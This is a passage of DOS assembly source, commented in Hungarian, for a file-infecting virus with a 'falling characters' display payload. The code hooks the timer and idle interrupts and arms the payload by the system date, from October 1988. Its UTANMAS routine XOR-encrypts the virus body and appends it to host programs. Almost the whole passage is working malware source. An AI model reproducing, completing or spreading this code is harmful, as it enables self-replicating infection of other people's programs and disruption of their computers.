  651.     DEC SI            ;  EGGYEL KEVESEBB KARAKTER VAN HATRA
  652.     JZ PO7            ;  HA NULLA, AKKOR KILEPNI
  653.     JMP PO3            ;  UJRA KISERELNI
  654. PO7:    IN AL,61H        ;  A HANGSZORO BEOLVASASA
  655.     AND AL,11111100B    ;  KIKAPCSOLASA
  656.     OUT 61H,AL        ;  MAJD VISSZAIRASA
  657.     RET            ;  VISSZATERES
  658. POTY    ENDP
  659.  
  660. UJ1C:    TEST CS:STATUS,1001B    ;  A POTYOGAS TILTVA, VAGY EPPEN POTYOG?
  661.     JNZ U1C_1        ;  IGEN
  662.     OR CS:STATUS,1        ;  EPPEN POTYOG JELZOT BEALLITANI
  663.     DEC CS:SZAML        ;  A SZAMLALOT CSOKKENTENI
  664.     JNZ U1C_2        ;  HA MEG NEM NULLA, AKKOR VEGE
  665.     PUSH DS            ;  REGISZTEREK ELMENTESE
  666.     PUSH ES
  667.     PUSH CS
  668.     POP DS            ;  DS=CS
  669.     PUSH CS
  670.     POP ES            ;  ES=CS
  671.     PUSH AX
  672.     PUSH BX
  673.     PUSH CX
  674.     PUSH DX
  675.     PUSH SI
  676.     PUSH DI
  677.     PUSH BP
  678.     MOV AL,20H
  679.     OUT 20H,AL
  680.     MOV AX,SZAMLEL        ;  A SZAMLALO ELOZO ERTEKE
  681.     CMP AX,0438H        ;  AZ ELOZO ERTEK KISEBB VOLT?
  682.     JNB U1C_3        ;  NEM
  683.     MOV AX,0438H        ;  KB. 60 MASODPERC
  684. U1C_3:    CALL VELETL        ;  VELETLENSZAM ELOAALITASA
  685.     INC AX            ;  AZ IDO NEM LEHET NULLA
  686.     MOV SZAML,AX        ;  ES ELTAROLAS A SZAMLALOBA
  687.     MOV SZAMLEL,AX        ;  ES MINT A SZAMLALO UTOLSO ERTEKE IS
  688.     CALL POTY        ;  POTYOGTATAS
  689.     MOV AX,3        ;  VELETLENSZAM ELOALLIASA
  690.     CALL VELETL        ;  1 ES 3 KOZOTT
  691.     INC AX
  692.     MUL POTYKAR        ;  EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO
  693.     JNB U1C_4        ;  KARAKTEREK SZAMAVAL
  694.     MOV AX,0FFFFH        ;  MAXIMUM 65535 DB LEHET
  695. U1C_4:    MOV POTYKAR,AX        ;  ELTAROLASA
  696.     POP BP            ;  REGISZTEREK VISSZOLVASASA
  697.     POP DI
  698.     POP SI
  699.     POP DX
  700.     POP CX
  701.     POP BX
  702.     POP AX
  703.     POP ES
  704.     POP DS
  705. U1C_2:    AND CS:STATUS,11111110B    ;  EPPEN NEM POTYOG BEALLITASA
  706. U1C_1:    JMP DWORD PTR CS:REG1C    ;  FOLYTATASA A REGI INT 1CH-N
  707.  
  708. UJ28:    TEST CS:STATUS,1000B    ;  TILTVA A POTYOGAS?
  709.     JZ U28_1        ;  HA NEM, AKKOR FELESLEGES VEGREHAJTANI
  710.     PUSH AX            ;  REGISZTEREK MENTESE
  711.     PUSH CX
  712.     PUSH DX
  713.     MOV AH,2AH        ;  A RENDSZERDATUM BEOLVASASA
  714.     INT 21H
  715.     CMP CX,1988        ;  AZ EV 1988?
  716.     JB U28_2        ;  HA KISEBB, AKKOR KILEPES
  717.     JA U28_3        ;  HA NAGYOBB, AKKOR POTYOGHAT
  718.     CMP DH,10        ;  VAN MAR OKTOBER?
  719.     JB U28_2        ;  HA MEG NINCS, AKKOR NE POTYOGJON
  720. U28_3:    AND CS:STATUS,11110111B    ;  A POTYOGAS ENGEDELYEZVE
  721. U28_2:    POP DX            ;  REGISZTEREK VISSZAOLVASASA
  722.     POP CX
  723.     POP AX
  724. U28_1:    JMP DWORD PTR CS:REG28    ;  FOLYTATAS A REGI INT 28H-N
  725.  
  726. UTANMAS    PROC NEAR        ;  A VIRUS KIMASOLASA A PROGRAM MOGE
  727.     PUSH ES
  728.     PUSH BX
  729.     MOV AH,48H        ;  MEMORIATERULET ALLOKALASA
  730.     MOV BX,OFFSET HOSSZ/10H+1
  731.     INT 21H
  732.     POP BX
  733.     JNC UTAN1        ;  SIKERULT?
  734. UTAN3:    STC
  735.     POP ES
  736.     RET
  737. UTAN1:    MOV BYTE PTR CS:100H,1
  738.     MOV ES,AX
  739.     PUSH CS            ;  DS=CS
  740.     POP DS
  741.     XOR DI,DI        ;  DI=0
  742.     MOV SI,100H        ;  SI=100H
  743.     MOV CX,OFFSET HOSSZ    ;  A VIRUS HOSSZA
  744.     CLD            ;  NOVEKVO IRANY
  745.     REPZ MOVSB        ;  A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE
  746.     MOV DI,OFFSET INDIT-100H
  747.     MOV SI,OFFSET INDIT
  748.     ADD SI,WORD PTR FILHOS
  749.     MOV CX,OFFSET VEG-INDIT
  750. UTAN2:    XOR ES:[DI],SI        ;  A VIRUS LE XOR-OLASA
  751.     XOR ES:[DI],CX
  752.     INC DI
  753.     INC SI
  754.     LOOP UTAN2
  755.     MOV DS,AX        ;  DS A PUFFER ELEJERE MUTAT
  756.     MOV AH,40H
  757.     XOR DX,DX        ;  AZ OFSZET A PUFFER ELEJERE
  758.     MOV CX,OFFSET HOSSZ    ;  A VIRUS HOSSZA
  759.     INT 21H            ;  KIIRAS A PROGRAM MOGE
  760.     PUSHF
  761.     PUSH AX
  762.     MOV AH,49H        ;  AZ ALLOKALT MEMORIABLOKK FELSZABADITASA
  763.     INT 21H
  764.     POP AX            ;  A REGISZTEREK VISSZAOLVASASA
  765.     POPF
  766.     PUSH CS            ;  DS=CS
  767.     POP DS
  768.     JC UTAN3
  769.     CMP AX,CX        ;  MINDEN BYTEOT KIIRT?
  770.     JNZ UTAN3        ;  NEM
  771.     POP ES
  772.     CLC            ;  NEM TORTENT HIBA
  773.     RET            ;  VISSZATERES
  774. UTANMAS    ENDP
  775.  
  776. VEG    EQU $
  777.  
  778. VIRUS    ENDS
  779.  
  780.     END
  781.